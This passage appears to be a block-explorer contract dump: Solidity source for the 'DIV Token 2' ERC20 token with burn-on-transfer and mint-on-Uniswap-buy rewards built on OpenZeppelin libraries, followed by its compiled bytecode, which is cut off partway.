intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /// @title DIV token rewards buyers from specific addresses (AMMs such as uniswap) by minting purchase rewards immediately, and burns a percentage of all on chain transactions. /// @author Nijitoki Labs; in collaboration with CommunityToken.io; original ver. by KrippTorofu @ RiotOfTheBlock /// NOTES: This version includes uniswap router registration, to prevent owner from setting mint addresses that are not UniswapV2Pairs. /// No tax/burn limits have been added to this token. /// Until the Ownership is rescinded, owner can modify the parameters of the contract (tax, interest, whitelisted addresses, uniswap pairs). /// Minting is disabled, except for the interest generating address, which is now behind a uniswap router check. contract DIVToken2 is ERC20, Ownable { using SafeMath for uint256; using SafeMath for uint32; uint32 internal _burnRatePerTransferThousandth = 10; // default of 1%, can go as low as 0.1%, or set to 0 to disable uint32 internal _interestRatePerBuyThousandth = 20; // default of 2%, can go as low as 0.1%, or set to 0 to disable address internal constant uniswapV2FactoryAddress = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; mapping(address => bool) internal _burnWhitelistTo; mapping(address => bool) internal _burnWhitelistFrom; mapping(address => bool) internal _UniswapAddresses; /// @notice Transfers from IUniswapV2Pair at address `addr` now will mint an extra `_interestRatePerBuyThousandth`/1000 DIV tokens per 1 Token for the recipient. /// @param addr Address of an IUniswapV2Pair Contract event UniswapAddressAdded(address indexed addr); /// @notice IUniswapV2Pair at address `addr` now will stop minting event UniswapAddressRemoved(address indexed addr); /// @notice The address `addr` is now whitelisted, any funds sent to it will not incur a burn. /// @param addr Address of Contract / EOA to whitelist event AddedToWhitelistTo(address indexed addr); /// @notice The address `addr` is removed from whitelist, any funds sent to it will now incur a burn of `_burnRatePerTransferThousandth`/1000 DIV tokens as normal. /// @param addr Address of Contract / EOA to whitelist event RemovedFromWhitelistTo(address indexed addr); /// @notice The address `addr` is now whitelisted, any funds sent FROM this address will not incur a burn. /// @param addr Address of Contract / EOA to whitelist event AddedToWhitelistFrom(address indexed addr); /// @notice The address `addr` is removed from whitelist, any funds sent FROM this address will now incur a burn of `_burnRatePerTransferThousandth`/1000 DIV tokens as normal. /// @param addr Address of Contract / EOA to whitelist event RemovedFromWhitelistFrom(address indexed addr); /// @notice The Burn rate has been changed to `newRate`/1000 per 1 DIV token on every transaction event BurnRateChanged(uint32 newRate); /// @notice The Buy Interest rate has been changed to `newRate`/1000 per 1 DIV token on every transaction event InterestRateChanged(uint32 newRate); constructor(address tokenOwnerWallet) ERC20("DIV Token 2", "DIV2") { _mint(tokenOwnerWallet, 500000000000000000000000); } /// @notice Changes the burn rate on transfers in thousandths /// @param value Set this value in thousandths. Max of 50. i.e. 10 = 1%, 1 = 0.1%, 0 = burns are disabled. function setBurnRatePerThousandth(uint32 value) external onlyOwner { // enforce a Max of 50 = 5%. _burnRatePerTransferThousandth = value; validateContractParameters(); emit BurnRateChanged(value); } /// @notice Changes the interest rate for purchases in thousandths /// @param value Set this value in thousandths. Max of 50. i.e. 10 = 1%, 1 = 0.1%, 0 = interest is disabled. function setInterestRatePerThousandth(uint32 value) external onlyOwner { _interestRatePerBuyThousandth = value; validateContractParameters(); emit InterestRateChanged(value); } /// @notice Address `addr` will no longer incur the `_burnRatePerTransferThousandth`/1000 burn on Transfers /// @param addr Address to whitelist / dewhitelist /// @param whitelisted True to add to whitelist, false to remove. function setBurnWhitelistToAddress (address addr, bool whitelisted) external onlyOwner { if(whitelisted) { _burnWhitelistTo[addr] = whitelisted; emit AddedToWhitelistTo(addr); } else { delete _burnWhitelistTo[addr]; emit RemovedFromWhitelistTo(addr); } } /// @notice Address `addr` will no longer incur the `_burnRatePerTransferThousandth`/1000 burn on Transfers from it. /// @param addr Address to whitelist / dewhitelist /// @param whitelisted True to add to whitelist, false to remove. function setBurnWhitelistFromAddress (address addr, bool whitelisted) external onlyOwner { if(whitelisted) { _burnWhitelistFrom[addr] = whitelisted; emit AddedToWhitelistFrom(addr); } else { delete _burnWhitelistFrom[addr]; emit RemovedFromWhitelistFrom(addr); } } /// @notice Will query uniswapV2Factory to find a pair. Pair now will mint an extra `_interestRatePerBuyThousandth`/1000 DIV tokens per 1 Token for the recipient. /// @dev This will only work with the existing uniswapV2Factory and will require a new token overall if UniswapV3 comes out...etc. /// @dev Hardcoding the factory pair in contract ensures someone can't create a fake uniswapV2Factory that would return a hardcoded EOA. /// @param erc20token address of the ACTUAL ERC20 liquidity token, e.g. to mint on buys against WETH, pass in the WETH ERC20 address, not the uniswap LP Address. /// @param generateInterest True to begin generating interest, false to remove. function enableInterestForToken (address erc20token, bool generateInterest) external onlyOwner { // returns 0x0 if pair doesn't exist. address uniswapV2Pair = IUniswapV2Factory(uniswapV2FactoryAddress).getPair(address(this), erc20token); require(uniswapV2Pair != 0x0000000000000000000000000000000000000000, "EnableInterest: No valid pair exists for erc20token"); if(generateInterest) { _UniswapAddresses[uniswapV2Pair] = generateInterest; emit UniswapAddressAdded(uniswapV2Pair); } else { delete _UniswapAddresses[uniswapV2Pair]; emit UniswapAddressRemoved(uniswapV2Pair); } } /// @notice This function can be used by Contract Owner to disperse tokens bypassing incurring penalties or interest. The tokens will be sent from the Owner Address Balance. /// @param dests Array of recipients /// @param values Array of values. Ensure the values are in wei. i.e. you must multiply the amount of DIV tokens to be sent by 10**18. function airdrop(address[] calldata dests, uint256[] calldata values) external onlyOwner returns (uint256) { uint256 i = 0; while (i < dests.length) { ERC20._transfer(_msgSender(), dests[i], values[i]); i += 1; } return(i); } /// @notice Returns the burn rate on transfers in thousandths function getBurnRatePerThousandth() external view returns (uint32) { return _burnRatePerTransferThousandth; } /// @notice Returns the interest rate for purchases in thousandths function getInterestRate() external view returns (uint32) { return _interestRatePerBuyThousandth; } /// @notice If true, Address `addr` will not incur `_burnRatePerTransferThousandth`/1000 burn for any Transfers to it. /// @param addr Address to check /// @dev it is not trivial to return a mapping without incurring further storage costs function isAddressWhitelistedTo(address addr) external view returns (bool) { return _burnWhitelistTo[addr]; } /// @notice If true, Address `addr` will not incur `_burnRatePerTransferThousandth`/1000 burn for any Transfers from it. /// @param addr Address to check /// @dev it is not trivial to return a mapping without incurring further storage costs function isAddressWhitelistedFrom(address addr) external view returns (bool) { return _burnWhitelistFrom[addr]; } /// @notice If true, transfers from IUniswapV2Pair at address `addr` will mint an extra `_interestRatePerBuyThousandth`/1000 DIV tokens per 1 Token for the recipient. /// @param addr Address to check /// @dev it is not trivial to return a mapping without incurring further storage costs function checkInterestGenerationForAddress(address addr) external view returns (bool) { return _UniswapAddresses[addr]; } /** @notice ERC20 transfer function overridden to add `_burnRatePerTransferThousandth`/1000 burn on transfers as well as `_interestRatePerBuyThousandth`/1000 interest for AMM purchases. @param amount amount in wei Burn rate is applied independently of the interest. No reentrancy check required, since these functions are not transferring ether and only modifying internal balances. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual override { // FROM uniswap address, mint interest tokens // Constraint: Anyone in burn whitelist cannot receive interest, to reduce owner abuse possibility. // This means whitelisting uniswap for any reason will also turn off interest. if(_UniswapAddresses[sender] && _interestRatePerBuyThousandth > 0 && !_burnWhitelistTo[recipient] && !_burnWhitelistFrom[sender]) { super._mint(recipient, amount.mul(_interestRatePerBuyThousandth).div(1000)); // no need to adjust amount } // Apply burn if(!_burnWhitelistTo[recipient] && !_burnWhitelistFrom[sender] && _burnRatePerTransferThousandth>0) { uint256 burnAmount = amount.mul(_burnRatePerTransferThousandth).div(1000); super._burn(sender, burnAmount); // reduce the amount to be sent amount = amount.sub(burnAmount); } // Send the modified amount to recipient super._transfer(sender, recipient, amount); } /// @notice After modifying contract parameters, call this function to run internal consistency checks. function validateContractParameters() internal view { // These upper bounds have been added per community request require(_burnRatePerTransferThousandth <= 50, "Error: Burn cannot be larger than 5%"); require(_interestRatePerBuyThousandth <= 50, "Error: Interest cannot be larger than 5%"); // This is to avoid an owner accident/misuse, if uniswap can reward a larger amount than a single buy+sell, // that would allow anyone to drain the Uniswap pool with a flash loan. // Since Uniswap fees are not considered, all Uniswap transactions are ultimately deflationary. require(_interestRatePerBuyThousandth <= _burnRatePerTransferThousandth.mul(2), "Error: Interest cannot exceed 2*Burn"); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063a9059cbb11610071578063a9059cbb1461055e578063c55c1c6a1461058a578063dd62ed3e146105b0578063f2fde38b146105de57610173565b806395d89b41146104fc578063a457c2d714610504578063a7ccd63e1461053057610173565b806370a0823114610433578063715018a6146104595780637314c378146104615780638c4bc81b1461048f5780638da5cb5b146104b557806393709c1c146104d957610173565b806323b872dd1161013057806323b872dd146102c6578063313ce567146102fc578063395093511461031a5780635257b566146103465780635f1c06171461034e578063672434821461037157610173565b80630189454c1461017857806306fdde03146101a8578063095ea7b3146102255780630e26bb1c1461026557806314455d1b1461028b57806318160ddd146102ac575b600080fd5b6101a66004803603604081101561018e57600080fd5b506001600160a01b0381351690602001351515610604565b005b6101b06107d9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ea5781810151838201526020016101d2565b50505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102516004803603604081101561023b57600080fd5b506001600160a01b03813516906020013561086f565b604080519115158252519081900360200190f35b6102516004803603602081101561027b57600080fd5b50356001600160a01b031661088d565b6102936108ab565b6040805163ffffffff9092168252519081900360200190f35b6102b46108be565b60408051918252519081900360200190f35b610251600480360360608110156102dc57600080fd5b506001600160a01b038135811691602081013590911690604001356108c4565b61030461094b565b6040805160ff9092168252519081900360200190f35b6102516004803603604081101561033057600080fd5b506001600160a01b038135169060200135610954565b6102936109a2565b6101a66004803603602081101561036457600080fd5b503563ffffffff166109b5565b6102b46004803603604081101561038757600080fd5b8101906020810181356401000000008111156103a257600080fd5b8201836020820111156103b457600080fd5b803590602001918460208302840111640100000000831117156103d657600080fd5b9193909290916020810190356401000000008111156103f457600080fd5b82018360208201111561040657600080fd5b8035906020019184602083028401116401000000008311171561042857600080fd5b509092509050610a74565b6102b46004803603602081101561044957600080fd5b50356001600160a01b0316610b2e565b6101a6610b49565b6101a66004803603604081101561047757600080fd5b506001600160a01b0381351690602001351515610bf6565b610251600480360360208110156104a557600080fd5b50356001600160a01b0316610cf3565b6104bd610d11565b604080516001600160a01b039092168252519081900360200190f35b6101a6600480360360208110156104ef57600080fd5b503563ffffffff16610d25565b6101b0610de4565b6102516004803603604081101561051a57600080fd5b506001600160a01b038135169060200135610e45565b6101a66004803603604081101561054657600080fd5b506001600160a01b0381351690602001351515610ead565b6102516004803603604081101561057457600080fd5b506001600160a01b038135169060200135610fa9565b610251600480360360208110156105a057600080fd5b50356001600160a01b0316610fbd565b6102b4600480360360408110156105c657600080fd5b506001600160a01b0381358116916020013516610fdb565b6101a6600480360360208110156105f457600080fd5b50356001600160a01b0316611006565b61060c611170565b60055461010090046001600160a01b03908116911614610661576040805162461bcd60e51b81526020600482018190526024820152600080516020611b78833981519152604482015290519081900360640190fd5b6040805163e6a4390560e01b81523060048201526001600160a01b03841660248201529051600091735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a4390591604480820192602092909190829003018186803b1580156106c557600080fd5b505afa1580156106d9573d6000803e3d6000fd5b505050506040513d60208110156106ef57600080fd5b505190506001600160a01b0381166107385760405162461bcd60e51b8152600401808060200182810382526033815260200180611a426033913960400191505060405180910390fd5b811561078d576001600160a01b038116600081815260086020526040808220805460ff1916861515179055517fe013160af17979448b815e4acc72ceb45f5e78d682bdf7bdbba6206f1fb49ca49190a26107d4565b6001600160a01b038116600081815260086020526040808220805460ff19169055517f9994b8a37dd3d7cbffc0414fcff5a1429bb953ba529427c5bbc4d59886caef559190a25b505050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108655780601f1061083a57610100808354040283529160200191610865565b820191906000526020600020905b81548152906001019060200180831161084857829003601f168201915b5050505050905090565b600061088361087c611170565b8484611174565b5060015b92915050565b6001600160a01b031660009081526006602052604090205460ff1690565b600554600160a81b900463ffffffff1690565b60025490565b60006108d1848484611260565b610941846108dd611170565b61093c85604051806060016040528060288152602001611b50602891396001600160a01b038a1660009081526001602052604081209061091b611170565b6001600160a01b0316815260208101919091526040016000205491906113cd565b611174565b5060019392505050565b60055460ff1690565b6000610883610961611170565b8461093c8560016000610972611170565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549061110f565b600554600160c81b900463ffffffff1690565b6109bd611170565b60055461010090046001600160a01b03908116911614610a12576040805162461bcd60e51b81526020600482018190526024820152600080516020611b78833981519152604482015290519081900360640190fd5b6005805463ffffffff60a81b1916600160a81b63ffffffff841602179055610a38611464565b6040805163ffffffff8316815290517f2194450113e53fefa8ab181b7220ce5d667ee3b89d2f5540ead8fe0bb42cffe09181900360200190a150565b6000610a7e611170565b60055461010090046001600160a01b03908116911614610ad3576040805162461bcd60e51b81526020600482018190526024820152600080516020611b78833981519152604482015290519081900360640190fd5b60005b84811015610b2557610b1d610ae9611170565b878784818110610af557fe5b905060200201356001600160a01b0316868685818110610b1157fe5b90506020020135611573565b600101610ad6565b95945050505050565b6001600160a01b031660009081526020819052604090205490565b610b51611170565b60055461010090046001600160a01b03908116911614610ba6576040805162461bcd60e51b81526020600482018190526024820152600080516020611b78833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b610bfe611170565b60055461010090046001600160a01b03908116911614610c53576040805162461bcd60e51b81526020600482018190526024820152600080516020611b78833981519152604482015290519081900360640190fd5b8015610ca8576001600160a01b038216600081815260066020526040808220805460ff1916851515179055517fec6cd45d8ef108208595c2fa365fe9abf046277b04935c715b420cf4a33392d49190a2610cef565b6001600160a01b038216600081815260066020526040808220805460ff19169055517f5ddff49bd99e5ea6a1a9e35541cf0f4c889b43355cfdf4c58a8bf7893403c91b9190a25b5050565b6001600160a01b031660009081526007602052604090205460ff1690565b60055461010090046001600160a01b031690565b610d2d611170565b60055461010090046001600160a01b03908116911614610d82576040805162461bcd60e51b81526020600482018190526024820152600080516020611b78833981519152604482015290519081900360640190fd5b6005805463ffffffff60c81b1916600160c81b63ffffffff841602179055610da8611464565b6040805163ffffffff8316815290517f97daa7c561eb2339af62e82142fcf66cd612417e3e6a2b39df7689c1571963c79181900360200190a150565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108655780601f1061083a57610100808354040283529160200191610865565b6000610883610e52611170565b8461093c85604051806060016040528060258152602001611c026025913960016000610e7c611170565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906113cd565b610eb5611170565b60055461010090046001600160a01b03908116911614610f0a576040805162461bcd60e51b81526020600482018190526024820152600080516020611b78833981519152604482015290519081900360640190fd5b8015610f5f576001600160a01b038216600081815260076020526040808220805460ff1916851515179055517f0c2e9c1d40195e4740939021c7a878c88250d1269e5739816bfafcb5f38bec719190a2610cef565b6001600160a01b038216600081815260076020526040808220805460ff19169055517f9c9d2c07c986f6efd2808d4b01ffe6737f7864de5371f48a4a394b5c2ba3fc1a9190a25050565b6000610883610fb6611170565b8484611260565b6001600160a01b031660009081526008602052604090205460ff1690565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61100e611170565b60055461010090046001600160a01b03908116911614611063576040805162461bcd60e51b81526020600482018190526024820152600080516020611b78833981519152604482015290519081900360640190fd5b6001600160a01b0381166110a85760405162461bcd60e51b8152600401808060200182810382526026815260200180611a756026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600082820183811015611169576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166111b95760405162461bcd60e51b8152600401808060200182810382526024815260200180611bde6024913960400191505060405180910390fd5b6001600160a01b0382166111fe5760405162461bcd60e51b8152600401808060200182810382526022815260200180611a9b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831660009081526008602052604090205460ff1680156112965750600554600160c81b900463ffffffff1615155b80156112bb57506001600160a01b03821660009081526006602052604090205460ff16155b80156112e057506001600160a01b03831660009081526007602052604090205460ff16155b1561131d5760055461131d908390611318906103e89061131290869063ffffffff600160c81b9091048116906116ce16565b90611727565b611769565b6001600160a01b0382166000908152600660205260409